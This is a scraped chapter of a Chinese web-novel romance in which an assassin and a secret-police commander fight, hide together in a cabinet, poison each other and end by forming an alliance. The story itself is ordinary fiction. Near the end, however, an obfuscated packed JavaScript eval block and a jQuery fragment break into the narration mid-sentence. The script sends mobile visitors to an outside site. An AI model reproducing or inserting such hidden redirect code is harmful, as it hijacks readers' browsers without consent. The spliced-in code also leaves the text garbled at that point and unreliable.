19. 互搏命
作品:《救!夫君是通缉我的条子》 先来的是剑风,恨霜剑风如海。软剑并不刚直,招数连绵危险,直冲颈侧,可这些她都太过熟悉
厉翡一个闪身避过,腰间匕首滑入掌心,刀刃斜挑,再逼陆怀钧胸前。
对付陆怀钧,用暗器收效甚微。
只差一步,知这招无用,厉翡语气讥讽:“这会儿不叫夫人了?侯爷,你病弱体虚,可别咳血晕过去了。”
陆怀钧果然侧身避开,剑鞘架住匕首刀尖,向前推去。
他的左臂仍在渗血,气息微促,厉翡只在想他怎么伤得不是右手。
趁人之危,她也没趁到好的。
冷铁相击,匕首的刀尖朝上旋了一圈,两人眸光相对,又听得陆怀钧开口:“非羽,是你主动进的淮阳侯府。”
这话听得人心头火起。
“哦——”
厉翡拖长了音调,匕首倏地一转,改刺他肋下空门,“淮阳侯,现在不是你贴着我亲的时候了?”
她往前逼近一步,几乎贴着他胸膛仰起脸,月光那样冷,却照亮她眼底烧得炽烈的杀意:“那天我怎么没一刀杀了你!”
话音未落,她膝撞已至!
陆怀钧左手急挡,伤口被震得再次开裂,血几乎浸透了包扎的布条。
厉翡却听得他极轻地笑了一声,声音压得低哑:“李姑娘的美人计,我还是消受得起的。”
她应当完全信任自己的杀意。洞房夜把他一刀杀了一了百了,什么毁尸灭迹,逃避追杀都是后来再操心的事。
厉翡眸色骤冷。
陆怀钧无数次见过她这样的眼神,破庙里的画眉不能摹其里,画像也无法点出神韵,找不到比喻去形容。
而是当看见时,被她杀死即将成为定局。
匕首冷光飞旋,招式瞬息万变,专攻他薄弱的伤处。贴身刺杀的利器在她手上如臂使指,随心一动,每步都是杀招。
剑在两步之内不占优。
陆怀钧软剑翻飞,步步为守,却因失血动作慢了一瞬——厉翡抓住这破绽,上步,横刺,预估躲闪的方向,一镖封住退路。
就是此刻!
她正欲再进,书房外忽地响起脚步声,由远及近,杂乱又急促。
陆怀钧眼神一凛,在匕首再次袭来的瞬间向左后一滚,刃尖擦过他额头,整个人带着她压在书案下。
压低的声音在她耳畔:“有人。”
血腥味扑面而来。
厉翡一僵,立刻冷笑:“陆指挥使怎么不去给沈千山定罪,押牢里审个清楚?”
脚步声已到门外。
两人同时抬眼——房梁太高,此刻攀上去必会带出声响。而书房内能藏人的地方……
多宝柜!
几乎同时动作,又同时僵住。
厉翡咬牙,一把扯住陆怀钧未受伤的右臂,将他狠狠拽向柜门!陆怀钧闷哼一声,借力旋身,两人几乎是叠着撞进黑暗的柜内空间。
“咔哒。”
柜门合拢一声轻响,恰好重合在来人推门的吱呀声中
黑暗如潮水般淹没感官。
柜内狭小得惊人,厉翡后背紧贴着冰冷木板,身前他滚烫的胸膛。她不得不贴着该死的陆怀钧,才能勉强容纳。
他左肩伤处的血渗透布料,黏腻地沾上厉翡的前襟。
这个人压抑的喘息,胸腔里急促的心跳,彰示着存在感。药香搅进血的铁锈味,闻得厉翡有些眩晕。
门外,沈千山的声音响起,带着压抑的烦躁:“赵公子,书房重地,岂容擅闯?”
“我的人不见了!”赵诚的声音更冲,“赵七至今未归。沈城主,是不是你动的手脚?”
柜内,厉翡听到赵七的名字呼吸一顿。
陆怀钧忽然在动。在这狭小空间里,这动作近乎磨蹭。厉翡浑身绷紧,指尖已捏住一枚追魂针,却感觉他的指尖,极轻地戳了戳她的腰侧。
她侧过头,在几乎贴着脸的距离里,用眼神传递出“你想死吗”的讯息。
陆怀钧停了手,缓缓低下头,温热的唇几乎碰到她耳廓,用气声吐出三个字:
“你杀的?”
气息拂过耳尖,厉翡白了他一眼,在黑暗里点了点头,才后知后觉想起他也看不见。
陆怀钧胸腔微微震动,像是极低地笑了一声。
门外,沈千山的声音冷了下去:“赵家的下人,问我作甚?老夫这几日忙得很。”
“忙?”赵诚嗤笑,“忙什么?忙着盘算怎么跳船吗?沈千山,云州那笔账,你以为自己能摘干净?”
沈千山沉默片刻,声音里透出狠厉:“赵诚,我和你说过,郑家留着那东西就是为了算计我们!你别盯着我咬!”
沈千山继续咬牙切齿:“我告诉你,神机处陆怀钧已到浮云城,还有长命锁的杀手非羽也来过城主府……你想找死,不要拉着我一起!”
两人言辞越来越激烈,争吵声在寂静的夜里格外刺耳。柜内,厉翡的耐心正在迅速耗尽。
杀一个也是杀,杀两个也是杀——她今日很是暴躁,拷问一遍全宰了算了。
她正想着,忽然感觉陆怀钧又动了一下。
他的鼻尖蹭过她的鬓发,停留了一瞬,轻轻嗅了一下。随即那压低的气声再次响起:
“你今日……还是用的玫瑰露。”
如果说陆卿文暧昧的举动是一种刺探,陆怀钧以这幅姿态亲近,厉翡只觉得是一种报复。
可偏偏,她还要耐着性子和这个人挤在柜子里。厉翡咬紧了牙关不理他,深吸一口气。
下一刻,门外传来赵诚摔门而去的巨响。沈千山独自站在书房里,传来一声疲惫的叹息。
终于也走了。
又等了数息,确认没有返回的动静,厉翡猛地推开柜门!
湿冷的空气扑面而来,她迅速踏出,一转身正堵着从柜中出来的陆怀钧。
动作因伤而显得迟缓,束进黑帽里的长发散落,几缕垂在苍白的颊侧。左臂伤口的血淌进黑衣里,便看不太出来。
他抬眼看她,眼底泠然落了月光。
陆怀钧还是这样比较顺眼。
厉翡轻笑,手中不知何时已扣了一枚追魂针,针尖抬起,稳稳抵在他颈侧跳动的脉搏上。
她轻声细语,更像在说什么情话:“在这里杀你,我可以推到沈千山身上。”
陆怀钧没动,只垂眼看了看那枚针。
“沈千山为什么要杀我?”他好似在好奇。
“陆指挥使夜探城主府,”厉翡往前送了送针尖,很快编出来,“发现浮云城主贪污实证,惨遭灭口——这理由,够不够?”
针尖压出一道细微的凹痕。再进半分,便能见血。
陆怀钧却摇了摇头。
“非羽杀人,”他缓缓说,目光从针尖移到她脸上,“从没有这么多闲话。”
四目相对。
厉翡看见他眼底映着的自己,鬓发散乱,眼中烧着火,唇却弯着,像一个疯子。
他却好似不怕死在她手里。
厉翡不喜欢这样。
她忽然撤了针,右手疾探,再次两指狠狠掐在他左臂伤口!
陆怀钧身体猛地一颤,唇间逸出一声压抑的呻吟。
他下颌绷紧,齿关紧咬,却仍站得笔直,只那双眼睛黑沉沉地锁着她,像要将她生吞进去。
厉翡另一只手已顺势滑下,指尖摸索,将他环在腰间的恨霜剑卸了下来。
“怎么,”她逼近,几乎鼻尖相抵,气息交融,“想死快一点?”
这场景其实有些荒诞。厉翡比他矮半头,此刻却占据上风。一手扣着他血肉模糊的伤口,一手握着他的剑,将他抵在多宝柜敞开的门上。
月光斜照,她的影子笼罩着他,像一头将猎物按在爪下的兽。
而陆怀钧,因失血和疼痛脸色惨白,长睫垂落,腰带被她摸索着卸剑时扯松了些。
倒像她是来做坏事的。
陆怀钧身体微蜷,额角青筋浮起,抬起眼,目光却依旧清醒锐利,直直刺进她眼里。
“前夜,”他开口,一字一句清晰,“有人接了非羽的悬赏令,我赴约。”
五万两,果然是他。厉翡手未放松,依旧制住他。
“假扮你的,是长命锁乙等杀手,画眉。”陆怀钧喘了口气,血从伤口涌出,浸染扣在他左臂的手指,说得很艰难,“她手里,有追魂针。”
“你信任的人,有异心。”
厉翡又笑了。
笑声很轻,在寂静的书房里荡开。
她腾出了右手,用剑鞘抬起他的下巴,再轻拍了两下——动作轻佻,带着狎昵的意味。
“陆指挥使,”她凑近,呼吸拂过他脸颊,“这么关心我啊?”
陆怀钧呼吸一促,也只是一瞬。这个人神色冷冷,似乎不觉得这是一种侮辱。
她厌恶这样干净又孤高的平静。
厉翡手上还沾着他伤口的血,很新鲜的红。借着月光,她伸出食指,轻轻抹过他苍白的唇。
血渍在他唇上晕开,像洞房夜的口脂,艳得惊心。
“需要我以后给你烧纸吗?”她弯起眼睛,“五万两,够不够?”
陆怀钧的呼吸滞了滞。
他看着她近在咫尺的脸,缓缓地伸出舌尖,舔掉了唇上那点血渍。
动作自然得像拂去尘埃。
仿佛没有什么可以打破他的平静。
忽然,厉翡胸口猛地一灼!
像心口忽有毒蛇啃咬,剧痛炸开,瞬间传到四肢百骸,浑身一颤,先是扣剑的手松了力,恨霜剑坠地。
厉翡很不甘心地垂下两只手。
是毒。
她低头,看向自己方才握剑的左手——虎口处,不知何时蔓延开一片极淡的青色,正以肉眼可见的速度向腕上爬。
厉翡缓缓抬眼,看向陆怀钧。
没有人制约他,他仍靠着多宝柜,半阖着眼,呼吸里都带着碎裂的喘息,看着像手无缚鸡之力的书生。
没有这样阴险狡诈的书生。
“恨霜剑的剑柄,”他轻声说,声音里带着痛到极处后奇异的平静,“我下了毒。”
厉翡的笑声从喉间逸出,这一声让胸口巨痛加剧,她还是低声笑着,间隔几声痛极的吸气声。
“完全不走正道了啊,”她摇头,像是惋惜,又像赞叹,“陆怀钧。”
陆怀钧也勾起唇角,笑意浅淡。
“彼此彼此。”
厉翡笑得更厉害,笑得弯下腰,又因胸口剧痛而呛咳起来。她撑着膝盖,抬眼看他,眼中水光潋滟,不知是笑出的泪,还是痛出的汗。
“怎么,”她喘着气问,“陆指挥使想和我……殉情?”
深夜,书房,月光凄清。
厉翡捂着胸口,那毒怪异得很,她点住手臂的穴位也无济于事,毒性在经脉奔走,所到之处一阵扭曲的剧痛。她额发已被冷汗浸透,黏在颊边,脸色白得吓人。
陆怀钧也没好到哪里去。左臂和左肩的伤口崩裂,血浸透半边夜行衣,约摸半只脚踏进棺材的地步。
厉翡没有放松。
他靠着多宝柜,右手垂在身侧,指尖动了动。
——是想去够怀中暗藏的匕首。
厉翡看见了。
在他指尖触到衣襟内藏的瞬间,她积蓄了几息的气力,猛地抬腿,膝盖狠狠压上他右手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294746|198194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手腕!
陆怀钧的手腕骨被重重碾在地面,这个人眼底终于翻涌起压抑不住的痛色和戾气。
两人再次僵持。
一个中毒剧痛,一个重伤流血,在这满地狼藉的书房里,像两条濒死的兽,互相咬着对方的咽喉,谁松口,谁先死。
厉翡喘着气,汗从下颌滴落,砸在陆怀钧染血的衣襟上。
如果就这样死了……
厉翡想。
如果就这样和陆怀钧死在这间书房里,明日被人发现时,会是怎样一副景象?沈千山会怎么编故事?
黄泉路上,她大概还要和他打一架。周谨还没找到,云州的真相尚且不知——
她不想死。
“陆怀钧。”
陆怀钧眼睫颤了颤,眼神因失血而有些涣散,仍强撑着清明,睁开眼怏怏地应了一声。
“在。”
厉翡盯着他眼睛,一字一句问:“陆卿文的身份,是谁?”
她总要知道这局是如何输的。淮阳侯的身份完美无缺,有众人皆知的过去,有皇亲国戚的身份。
陆怀钧静了片刻。
“我的,”他缓缓说,每个字都像在斟酌,“双生兄弟。”
厉翡空着的左手猛地抬起,一把捂住他的嘴,手心感觉到他唇上未干的血渍,糊得乱七八糟。
快死了还要扯这些骗她。
她咬牙切齿:“胡说八道。”
陆怀钧没挣扎,只在她掌心下,极轻地动了动唇,牙齿不轻不重地咬住了她的指尖。
他没什么力气,并不疼,犬齿厮磨着指腹,口腔温热湿润,酥麻的触感更接近痒意。
厉翡猛地收回手指,只觉得他是没什么办法也要恶心她一次。
陆怀钧看着她,回应的却是之前那句:“不及你,面不改色。”
厉翡喘着气,胸口剧痛一阵阵涌上,视线开始发花。想再扯几句骂他,一时想不出来。
这厮面皮太厚,完全没有破绽,想得眩晕感愈发严重。
她喘着,每个字都费力:“你是不是在等,等我先说……和解?”
陆怀钧忽然笑了,仿佛一直在等这个答案。他靠在柜上,血还在流,气息微弱,可那双眼睛看着她,又出现了若有若无的情意。
“陆卿文,”像在分享一个秘密,“是我的名。”
厉翡怔住,思绪有些迟钝。
“怀钧,”他继续,目光落在她脸上,像在描摹什么,“是字。”
什么双生兄弟也就是扯出来的胡话。自始至终,只有一个人。淮阳侯是他,神机处指挥使也是他。
两张脸在这一刻,彻底重合在一起。
厉翡看着他,久到胸口剧痛再次翻涌,身体脱力,向前倒去。
正正压在他身上。
陆怀钧被她撞了个趔趄,一起倒在地上。他伤口崩裂更甚,血涌出来,浸透两人相贴的衣料。
厉翡趴在他胸口,脸埋在青年的颈窝,他的心跳隔着两层夜行衣响声清晰,一声一声,如漫过的春雷。
她没动,也没有气力再动。
声音闷闷地:“陆指挥使,我佩服你。”
厉翡寻思自己还是要命的,陆怀钧不要。
她反思,她还是不够疯。真疯,还得看这些男人。
再比如娇娇,这个名字掠过心头,厉翡突如起来地平静了片刻。
她终于有力气撑起身,字句清晰:
“我不会揭穿淮阳侯的身份。”
“我确实要杀周谨。”
她顿了顿:“合作吧——找到周谨之前。”
月光下,陆怀钧脸色白得像玉,唇上血渍已干成暗红,眼底浮起一丝笑意。
他想要的也就是这两句话。厉翡解读为他的奸计得逞。
良久他幅度很小地点了点头,抬起没受伤的右手,指向自己染血的衣襟。
“解药,”他声音低弱,“在里衣暗袋。白色的瓷瓶,红色蜡封。”
好似猜到厉翡还可能做什么,陆怀钧喘了口气,继续道:“能保三个时辰不恶化。真正的解药……在侯府。”
怕她过河拆桥。
他即便奄奄一息,眸光依旧锐利如刀。
“要劳烦夫人,把我带回侯府了。”
厉翡挑眉,这人指挥她倒是自如。
“别惊动他人,”陆怀钧气息已有些断续,“长裕……是可信的。”
说完这句,他像是耗尽了力气,缓缓阖上眼。长睫在眼下投出浓黑的影,唇色淡得近乎消失,只有胸膛微弱的起伏,证明他还没死。
厉翡趴在他胸口,伸手探进衣襟,摸索着解开系带,指腹蹭过粗糙的疤痕,似原野上倒伏的枯草,有几条贴近心口。
可见陆怀钧总是命大的。
胡思乱想着,终于触到一个冰凉坚硬的小瓶,按他所说,拔开红色蜡封,倒出一粒碧色药丸。
她没犹豫,仰头吞下。
一股清凉从喉间滑下,迅速蔓延,所过之处剧痛稍减。她缓了口气,撑着起身,看着昏迷过去的陆怀钧。
月光照着他惨白的脸,染血的唇,凌乱的发,像一尊被打碎又勉强拼起的玉像,艳丽,破碎,沾着血污,依旧惊心动魄。
他若是永远这样子,也不错。
厉翡看了他一会儿,现在骂人他也听不见,省些力气。
她费力地将人架起。
陆怀钧比她高,又昏迷死沉,厉翡踉跄了一下才站稳,转身瞥见地上那柄恨霜剑。
她用脚尖一挑,剑飞起,落入她用衣料裹着的左手。
最后看了一眼这间满地狼藉的书房。
留给沈千山收拾。

